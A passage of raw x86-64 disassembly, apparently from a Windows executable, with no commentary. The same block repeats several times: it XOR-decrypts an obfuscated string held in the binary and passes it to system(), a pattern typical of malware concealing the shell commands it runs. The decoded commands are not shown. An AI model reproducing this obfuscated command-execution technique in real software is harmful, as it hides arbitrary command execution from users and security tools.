psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x14000bfa0
jmp 0x14000c0f6
lea r9, [rbp + 0x23a0]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x14000c0c0
lea rcx, [rbp + 0x23a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096db0]
movups xmmword [rbp + 0x1d30], xmm0
movups xmm0, xmmword [0x140096dd0]
movups xmmword [rbp + 0x1d50], xmm0
movups xmm0, xmmword [0x140096df0]
movups xmm1, xmmword [0x140096dc0]
movups xmmword [rbp + 0x1d70], xmm0
movups xmmword [rbp + 0x1d40], xmm1
movups xmm0, xmmword [0x140096e10]
movups xmm1, xmmword [0x140096de0]
movups xmmword [rbp + 0x1d90], xmm0
movups xmmword [rbp + 0x1d60], xmm1
movups xmm0, xmmword [0x140096e30]
movups xmm1, xmmword [0x140096e00]
movups xmmword [rbp + 0x1db0], xmm0
movups xmmword [rbp + 0x1d80], xmm1
movzx eax, byte [0x140096e48]
movsd xmm0, qword [0x140096e40]
movups xmm1, xmmword [0x140096e20]
mov byte [rbp + 0x1dc8], al
movsd qword [rbp + 0x1dc0], xmm0
movups xmmword [rbp + 0x1da0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000c301
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1d34]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000c1f0
cmp r8d, 0x99
jge 0x14000c346
movsxd rax, r8d
lea r9, [rbp + 0x1d30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x14000c310
lea rcx, [rbp + 0x1d30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097330]
movups xmmword [rbp + 0x1a80], xmm0
movups xmm0, xmmword [0x140097350]
movups xmm1, xmmword [0x140097340]
movups xmmword [rbp + 0x1aa0], xmm0
movups xmmword [rbp + 0x1a90], xmm1
movups xmm0, xmmword [0x140097370]
movups xmm1, xmmword [0x140097360]
movups xmmword [rbp + 0x1ac0], xmm0
movups xmmword [rbp + 0x1ab0], xmm1
mov eax, dword [0x1400973c0]
movups xmm0, xmmword [0x140097390]
movups xmm1, xmmword [0x140097380]
mov dword [rbp + 0x1b10], eax
movups xmmword [rbp + 0x1ae0], xmm0
movups xmmword [rbp + 0x1ad0], xmm1
movzx eax, word [0x1400973c4]
movups xmm0, xmmword [0x1400973b0]
movups xmm1, xmmword [0x1400973a0]
mov word [rbp + 0x1b14], ax
movups xmmword [rbp + 0x1b00], xmm0
movups xmmword [rbp + 0x1af0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000c543
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1a84]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000c432
cmp r8d, 0x96
jge 0x14000c586
movsxd rax, r8d
lea r9, [rbp + 0x1a80]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000c550
lea rcx, [rbp + 0x1a80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096290]
movups xmmword [rbp + 0x1b20], xmm0
movups xmm0, xmmword [0x1400962b0]
movups xmm1, xmmword [0x1400962a0]
movups xmmword [rbp + 0x1b40], xmm0
movups xmmword [rbp + 0x1b30], xmm1
movups xmm0, xmmword [0x1400962d0]
movups xmm1, xmmword [0x1400962c0]
movups xmmword [rbp + 0x1b60], xmm0
movups xmmword [rbp + 0x1b50], xmm1
mov eax, dword [0x140096320]
movups xmm0, xmmword [0x1400962f0]
movups xmm1, xmmword [0x1400962e0]
mov dword [rbp + 0x1bb0], eax
movups xmmword [rbp + 0x1b80], xmm0
movups xmmword [rbp + 0x1b70], xmm1
movzx eax, word [0x140096324]
movups xmm0, xmmword [0x140096310]
movups xmm1, xmmword [0x140096300]
mov word [rbp + 0x1bb4], ax
movups xmmword [rbp + 0x1ba0], xmm0
movups xmmword [rbp + 0x1b90], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000c783
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1b24]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000c672
cmp r8d, 0x96
jge 0x14000c7c6
movsxd rax, r8d
lea r9, [rbp + 0x1b20]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000c790
lea rcx, [rbp + 0x1b20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140098400]
movups xmmword [rbp + 0xa50], xmm0
movups xmm0, xmmword [0x140098420]
movups xmmword [rbp + 0xa70], xmm0
movups xmm0, xmmword [0x140098440]
movups xmm1, xmmword [0x140098410]
movups xmmword [rbp + 0xa90], xmm0
movups xmmword [rbp + 0xa60], xmm1
movzx eax, word [0x140098478]
movups xmm0, xmmword [0x140098460]
movups xmm1, xmmword [0x140098430]
mov word [rbp + 0xac8], ax
movups xmmword [rbp + 0xab0], xmm0
movups xmmword [rbp + 0xa80], xmm1
movzx eax, byte [0x14009847a]
movsd xmm0, qword [0x140098470]
movups xmm1, xmmword [0x140098450]
mov byte [rbp + 0xaca], al
movsd qword [rbp + 0xac0], xmm0
movups xmmword [rbp + 0xaa0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000c9bb
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xa54]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000c8b0
cmp r8d, 0x7b
jge 0x14000ca03
movsxd rax, r8d
lea r9, [rbp + 0xa50]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x14000c9d0
lea rcx, [rbp + 0xa50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097ad0]
movups xmmword [rbp + 0xb50], xmm0
movups xmm0, xmmword [0x140097af0]
movups xmmword [rbp + 0xb70], xmm0
movups xmm0, xmmword [0x140097b10]
movups xmm1, xmmword [0x140097ae0]
movups xmmword [rbp + 0xb90], xmm0
movups xmmword [rbp + 0xb60], xmm1
mov eax, dword [0x140097b48]
movups xmm0, xmmword [0x140097b30]
movups xmm1, xmmword [0x140097b00]
mov dword [rbp + 0xbc8], eax
movups xmmword [rbp + 0xbb0], xmm0
movups xmmword [rbp + 0xb80], xmm1
movzx eax, byte [0x140097b4c]
movsd xmm0, qword [0x140097b40]
movups xmm1, xmmword [0x140097b20]
mov byte [rbp + 0xbcc], al
movsd qword [rbp + 0xbc0], xmm0
movups xmmword [rbp + 0xba0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000cbed
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xb54]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000cae2
cmp r8d, 0x7d
jge 0x14000cc33
movsxd rax, r8d
lea r9, [rbp + 0xb50]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x14000cc00
lea rcx, [rbp + 0xb50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0x97830]
lea rcx, [rbp + 0x2c20]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, edi
cmp r14d, 2
jl 0x14000ce11
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2c24]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x14000cd00
cmp r8d, 0xa1
jge 0x14000ce56
movsxd rax, r8d
lea r9, [rbp + 0x2c20]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x14000ce20
lea rcx, [rbp + 0x2c20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096660]
movups xmmword [rbp + 0x11c0], xmm0
movups xmm0, xmmword [0x140096680]
movups xmm1, xmmword [0x140096670]
movups xmmword [rbp + 0x11e0], xmm0
movups xmmword [rbp + 0x11d0], xmm1
mov eax, dword [0x1400966f0]
movups xmm0, xmmword [0x1400966a0]
movups xmm1, xmmword [0x140096690]
mov dword [rbp + 0x1250], eax
movups xmmword [rbp + 0x1200], xmm0
movups xmmword [rbp + 0x11f0], xmm1
movzx eax, word [0x1400966f4]
movups xmm0, xmmword [0x1400966c0]
movups xmm1, xmmword [0x1400966b0]
mov word [rbp + 0x1254], ax
movups xmmword [rbp + 0x1220], xmm0
movups xmmword [rbp + 0x1210], xmm1
movzx eax, byte [0x1400966f6]
movups xmm0, xmmword [0x1400966e0]
movups xmm1, xmmword [0x1400966d0]
mov byte [rbp + 0x1256], al
movups xmmword [rbp + 0x1240], xmm0
movups xmmword [rbp + 0x1230], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000d061
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x11c4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000cf50
cmp r8d, 0x97
jge 0x14000d0a6
movsxd rax, r8d
lea r9, [rbp + 0x11c0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000d070
lea rcx, [rbp + 0x11c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400961c0]
movups xmmword [rbp + 0x1f60], xmm0
movups xmm0, xmmword [0x1400961e0]
movups xmmword [rbp + 0x1f80], xmm0
movups xmm0, xmmword [0x140096200]
movups xmm1, xmmword [0x1400961d0]
movups xmmword [rbp + 0x1fa0], xmm0
movups xmmword [rbp + 0x1f70], xmm1
movups xmm0, xmmword [0x140096220]
movups xmm1, xmmword [0x1400961f0]
movups xmmword [rbp + 0x1fc0], xmm0
movups xmmword [rbp + 0x1f90], xmm1
movups xmm0, xmmword [0x140096240]
movups xmm1, xmmword [0x140096210]
movups xmmword [rbp + 0x1fe0], xmm0
movups xmmword [rbp + 0x1fb0], xmm1
mov eax, dword [0x140096258]
movsd xmm0, qword [0x140096250]
movups xmm1, xmmword [0x140096230]
mov dword [rbp + 0x1ff8], eax
movsd qword [rbp + 0x1ff0], xmm0
movups xmmword [rbp + 0x1fd0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000d2b1
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1f64]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000d1a0
cmp r8d, 0x9c
jge 0x14000d2f6
movsxd rax, r8d
lea r9, [rbp + 0x1f60]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
